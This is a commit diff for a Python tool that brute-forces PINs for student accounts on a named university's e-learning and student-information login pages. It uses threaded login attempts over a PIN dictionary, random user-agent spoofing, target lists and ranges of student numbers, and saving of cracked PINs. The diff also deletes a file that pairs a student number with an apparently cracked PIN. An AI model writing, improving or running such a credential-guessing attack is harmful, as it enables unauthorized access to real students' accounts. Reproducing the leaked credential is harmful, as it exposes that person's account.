Browse Source

lot's of shit happened but now it works again :)

master
myitinos 2 years ago
parent
commit
864feb78eb
6 changed files with 321 additions and 174 deletions
  1. +72
    -0
      ELogin.py
  2. +109
    -171
      SBrute.py
  3. +1
    -1
      SLogin.py
  4. +137
    -0
      __main__.py
  5. +0
    -1
      found/120010025
  6. +2
    -1
      requirements.txt

+ 72
- 0
ELogin.py View File

@ -0,0 +1,72 @@
#!/usr/bin/env python3
import argparse
from requests import Session
from fake_useragent import UserAgent
from bs4 import BeautifulSoup
class ELogin(object):
url = "http://elearning.stikom-bali.ac.id"
# target = "MAHASISWA || E-LEARNING STIKOM BALI"
def __init__(self, nim, pin, session=None):
self.data = {
'__VIEWSTATE': '',
'ctl00$txtUser': nim,
'ctl00$txtPass': pin,
'ctl00$btnLogin': 'Login',
}
self.session = session
self.user_agent = UserAgent().random
def __enter__(self):
if type(self.session) is not Session:
self.session = Session()
return self
def __exit__(self, *kwargs):
self.session.close()
def login(self):
if type(self.session) is not Session:
raise Exception("Invalid session")
else:
# index = self.session.get(self.url)
# soup = BeautifulSoup(index.text, 'html.parser')
# self.data.update({'__VIEWSTATE': soup.find(
# "input", id="__VIEWSTATE")['value']})
# self.data.update({'__VIEWSTATEGENERATOR': soup.find(
# "input", id="__VIEWSTATEGENERATOR")['value']})
response = self.session.post(self.url,
data=self.data,
allow_redirects=False)
self.text = response.text
# self.success = self.target in self.text
self.success = response.status_code == 302
return self.success
if __name__ == "__main__":
import time
parser = argparse.ArgumentParser()
parser.add_argument("nim", help="NIM to try login")
parser.add_argument("pin", help="PIN to try login")
parser.add_argument("count", type=int, help="repetition")
args = parser.parse_args()
tStart = time.time()
for _ in range(args.count):
with ELogin(args.nim, args.pin) as conn:
print(conn.login())
# if conn.login():
# print('Login success')
# else:
# print('Login failed')
# print(conn.text)
tEnd = time.time()
print("Completed in: {:02f}".format(tEnd - tStart))

+ 109
- 171
SBrute.py View File

@ -1,28 +1,112 @@
#!/usr/bin/env python3
import multiprocessing # Pool, Manager
import multiprocessing.dummy
import gc # gc.collect
import time # time.time
import requests # request.post
import logging # logging
import os # os.remove
from SLogin import SLogin
import logging
import requests
import time
import os
from multiprocessing.dummy import Pool, Queue, Lock
from SDict import SDict
# from SLogin import SLogin
from ELogin import ELogin
from tqdm import tqdm
class SBrute(object):
def __init__(self,
nim: str,
thread: int = 16,
disableProgressBar: bool = False,
start: bool = False):
self.nim = nim
self.thread = thread
self.dictionary = SDict(nim)
self.session = requests.Session()
self.session.mount(
'http://', requests.adapters.HTTPAdapter(pool_maxsize=self.thread*2))
self.progressBar = None
if not disableProgressBar:
self.progressBar = tqdm(desc=self.nim,
total=len(self.dictionary))
self.found = False
def init_logging(logFileName, debug=False):
if start:
self.start()
def login(self, pin: str, depth: int = 0, maxRetry: int = 8):
try:
if self.found:
return
else:
with ELogin(self.nim, pin) as conn:
if conn.login():
self.found = True
return pin
except (requests.ConnectTimeout, requests.ConnectionError, requests.exceptions.ChunkedEncodingError) as ex:
logging.debug('{} occured {} {}, {} of {} retries'.format(
str(ex), self.nim, pin, depth, maxRetry))
if depth < maxRetry:
return self.login(pin, depth+1, maxRetry)
else:
logging.critical(
'Max Retry Exceeded for this exception: {}'.format(str(ex)))
raise ex
finally:
if depth == 0 and self.progressBar is not None:
self.progressBar.update()
def start(self):
self.tStart = time.time()
try:
# check saved pin first
try:
filename = 'found/{}'.format(self.nim)
with open(filename, 'r') as f:
pin = f.read()
logging.info(
'Saved pin found for {}, trying it.'.format(self.nim))
except FileNotFoundError:
pass
else:
result = self.login(pin, depth=1)
if result == pin:
logging.info('Saved pin is good.')
return
else:
logging.warning('Saved pin is bad, trying normal method.')
os.remove(filename)
with Pool(self.thread) as pool:
result = pool.map(self.login, self.dictionary)
result = list(set(result))
result.remove(None)
self.result = result
finally:
self.tEnd = time.time()
if self.found and self.result is not None:
with open('found/{}'.format(self.nim), 'w') as logfile:
logfile.write(self.result[0])
logmsg = 'FOUND {} {}'.format(self.nim, self.result[0])
else:
logmsg = 'FAILED {}' .format(self.nim)
logging.info('{} in {:.2f}s'.format(
logmsg, self.tEnd - self.tStart))
def init_logging(logFileName: str = '', debug: bool = False):
logFormatter = logging.Formatter(
fmt="[%(asctime)s][%(levelname)s] %(message)s",
datefmt='%d-%b-%y %H:%M:%S')
rootLogger = logging.getLogger()
fileHandler = logging.FileHandler(logFileName, mode='a')
fileHandler.setFormatter(logFormatter)
rootLogger.addHandler(fileHandler)
consoleHandler = logging.StreamHandler()
consoleHandler.setFormatter(logFormatter)
rootLogger.addHandler(consoleHandler)
@ -30,163 +114,17 @@ def init_logging(logFileName, debug=False):
rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)
def login(nim, pin, found, counter, depth=0):
"""Login into specified URL inside this function.
Please edit the target and success message
in this function declarataion as needed
"""
MAX_RETRY = 64 # please edit this if you need more retry
logging.debug("Try: nim={} pin={} depth={}".format(nim, pin, depth))
if not found.value:
try:
with SLogin(nim, pin) as connection:
if connection.login():
found.value = True
return pin
except (requests.ConnectTimeout, requests.ConnectionError, requests.ConnectTimeout) as ex:
logging.debug(
'{} occured {} {}, {} of {} retries'.format(str(ex), nim, pin, depth, MAX_RETRY))
if depth < MAX_RETRY:
depth += 1
return login(nim, pin, found, counter, depth)
else:
logging.critical(
'Max Retry Exceeded for this exception: {}'.format(str(ex)))
raise ex
finally:
counter.value = (
counter.value + 1) if depth == 0 else counter.value
def brute(nim, process_count):
start_time = time.time()
logging.info('Start bruteforce for {} '.format(nim))
found = multiprocessing.Manager().Value('I', 0)
counter = multiprocessing.Manager().Value('I', 0)
# check saved pin first
try:
filename = 'found/{}'.format(nim)
with open(filename, 'r') as f:
pin = f.read()
logging.info('Saved pin found for {}, trying it.'.format(nim))
except FileNotFoundError:
pass
else:
result = login(nim, pin, found, counter)
if result == pin:
logging.info('Saved pin is good.')
return
else:
logging.warning('Saved pin is bad, trying normal method.')
os.remove(filename)
try:
with multiprocessing.Pool(process_count) as pool:
result = list(pool.starmap(
login, [[nim, pin, found, counter] for pin in SDict(nim)]))
except ImportError:
with multiprocessing.dummy.Pool(process_count) as pool:
result = list(pool.starmap(
login, [[nim, pin, found, counter] for pin in SDict(nim)]))
result = list(set(result))
result.remove(None)
total_time = time.time() - start_time
if len(result) == 1:
with open('found/{}'.format(nim), 'w') as logfile:
logfile.write(result[0])
logmsg = 'FOUND {} {}'.format(nim, result[0])
else:
logmsg = 'FAILED {}' .format(nim)
logging.info('{} in {:.2f}s'.format(logmsg, total_time))
def parse_argument():
if __name__ == "__main__":
import argparse
import time
parser = argparse.ArgumentParser()
parser.add_argument("--debug",
action="store_true",
default=False,
help="activate debug logging")
parser.add_argument("--retry",
metavar="N",
default=4,
type=int,
help="number of max retry if exception occured, default is 4")
parser.add_argument("-i", "--infile",
metavar="PATH",
help="txt file containing targets to bruteforce")
parser.add_argument("-o", "--outfile",
metavar="PATH",
default="temp.txt",
help="txt file to write if not all target is tried, default is temp.txt")
parser.add_argument("-l", "--logfile",
metavar="PATH",
default="log.txt",
help="log file destination")
parser.add_argument("-t", "--target",
metavar="TARGET",
type=int,
help="target NIM to bruteforce",
nargs="+")
parser.add_argument("--range",
metavar=("START", "END"),
type=int,
nargs=2,
help="range of target NIM to bruteforce, END is included in the range")
parser.add_argument("-p", "--process",
metavar="N",
type=int,
default=multiprocessing.cpu_count(),
help="Specify number of process to use, default value is CPU Count. It's more limiting to RAM than CPU.")
return parser.parse_args()
def main():
args = parse_argument()
init_logging(args.logfile, args.debug)
# parse and gather all target
target = []
done = []
if args.infile:
try:
with open(args.infile, 'r') as filetarget:
target += filetarget.read().split('\n')
except FileNotFoundError:
logging.warning('Input file not found.')
if args.target:
target += args.target
if args.range:
target += [n for n in range(args.range[0], args.range[1]+1)]
if target == []:
logging.critical('Target is empty!')
exit(1)
logging.info("Starting bruteforce with {} process(es) for {} target(s)".format(
args.process, len(target)))
try:
for nim in target:
brute(nim=nim, process_count=args.process)
done.append(nim)
gc.collect()
except KeyboardInterrupt:
logging.info('Interrupted by user input')
except Exception as ex:
logging.exception('Exception occured: {}'.format(str(ex)))
finally:
if not len(done) == len(target):
logging.info(
'Program terminated prematurely. Writing remaining target to temp.txt')
with open(args.outfile, 'w') as outfile:
outfile.write('\n'.join([str(t)
for t in target if t not in done]))
if __name__ == '__main__':
main()
parser.add_argument("nim", help="NIM to try login")
args = parser.parse_args()
conn = SBrute(args.nim, start=False, disableProgressBar=False)
tStart = time.time()
conn.start()
tEnd = time.time()
print("Completed in: {:0.2f}".format(tEnd-tStart))

+ 1
- 1
SLogin.py View File

@ -1,4 +1,5 @@
#!/usr/bin/env python3
import argparse
import re
@ -7,7 +8,6 @@ from fake_useragent import UserAgent
class SLogin(object):
# url = "http://sion.stikom-bali.ac.id/load_login.php"
url = "http://180.250.7.188/"
urlLogin = "load_login.php"
target = """<script language="JavaScript1.2">document.getElementById('usern').style.backgroundColor='#F3F3F3';document.getElementById('passw').style.backgroundColor='#F3F3F3'</script><script language="javascript">window.location ='/reg/'</script>"""

+ 137
- 0
__main__.py View File

@ -0,0 +1,137 @@
#!/usr/bin/env python3
import logging
from multiprocessing import Pool, Manager, Queue, Lock, cpu_count
from SBrute import SBrute
def init_logging(args):
logFormatter = logging.Formatter(
fmt="[%(asctime)s][%(levelname)s] %(message)s",
datefmt='%d-%b-%y %H:%M:%S')
rootLogger = logging.getLogger()
if args.logfile is not None:
fileHandler = logging.FileHandler(args.logfile, mode='a')
fileHandler.setFormatter(logFormatter)
rootLogger.addHandler(fileHandler)
if not args.disable_console_logging:
consoleHandler = logging.StreamHandler()
consoleHandler.setFormatter(logFormatter)
rootLogger.addHandler(consoleHandler)
rootLogger.setLevel(logging.DEBUG if args.debug else logging.INFO)
def parse_argument():
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--disable-console-logging",
action="store_true",
default=False,
help="disable progress bar")
parser.add_argument("--disable-progressbar",
action="store_true",
default=False,
help="disable progress bar")
parser.add_argument("--debug",
action="store_true",
default=False,
help="activate debug logging")
parser.add_argument("--retry",
metavar="N",
default=4,
type=int,
help="number of max retry if exception occured, default is 4")
parser.add_argument("-i", "--infile",
metavar="PATH",
help="txt file containing targets to bruteforce")
parser.add_argument("-o", "--outfile",
metavar="PATH",
default="temp.txt",
help="txt file to write if not all target is tried, default is temp.txt")
parser.add_argument("--logfile",
metavar="PATH",
default="log.txt",
help="log file destination")
parser.add_argument("--target",
metavar="TARGET",
type=str,
help="target NIM to bruteforce",
nargs="+")
parser.add_argument("--range",
metavar=("START", "END"),
type=int,
nargs=2,
help="range of target NIM to bruteforce, END is included in the range")
parser.add_argument("-P", "--process",
metavar="N",
type=int,
default=cpu_count(),
help="Specify number of process to use, default value is CPU Count.")
parser.add_argument("-T", "--thread",
metavar="N",
type=int,
default=16,
help="Specify number of thread to use, default value is 16.")
return parser.parse_args()
if __name__ == '__main__':
args = parse_argument()
init_logging(args)
# parse and gather all target
target = []
done = []
if args.infile:
try:
with open(args.infile, 'r') as filetarget:
target += filetarget.read().split('\n')
except FileNotFoundError:
logging.warning('Input file not found.')
if args.target:
target += args.target
if args.range:
target += [n for n in range(args.range[0], args.range[1]+1)]
if target == []:
logging.critical('Target is empty!')
exit(1)
logging.info("Starting bruteforce with {} process(es) for {} target(s)".format(
args.process, len(target)))
try:
bar = None
for t in target:
s = SBrute(nim=t,
thread=args.thread,
disableProgressBar=args.disable_progressbar,
start=False)
done.append(s.start())
# with Pool(args.process) as pool:
# pool.starmap(SBrute, [(t, args.thread, True, positionQueue)
# for t in target])
except KeyboardInterrupt:
logging.info('Interrupted by user input')
except Exception as ex:
logging.exception('Exception occured: {}'.format(str(ex)))
finally:
if len(done) == len(target):
logging.info(
'Program completed successfully, found {} pins'.format(
len(done)
)
)
else:
logging.info(
'Program terminated prematurely. Writing remaining target to temp.txt')
with open(args.outfile, 'w') as outfile:
outfile.write('\n'.join([str(t)
for t in target if t not in done]))

+ 0
- 1
found/120010025 View File

@ -1 +0,0 @@
250694

+ 2
- 1
requirements.txt View File

@ -1,2 +1,3 @@
requests
fake_useragent
fake_useragent
tqdm

Loading…
Cancel
Save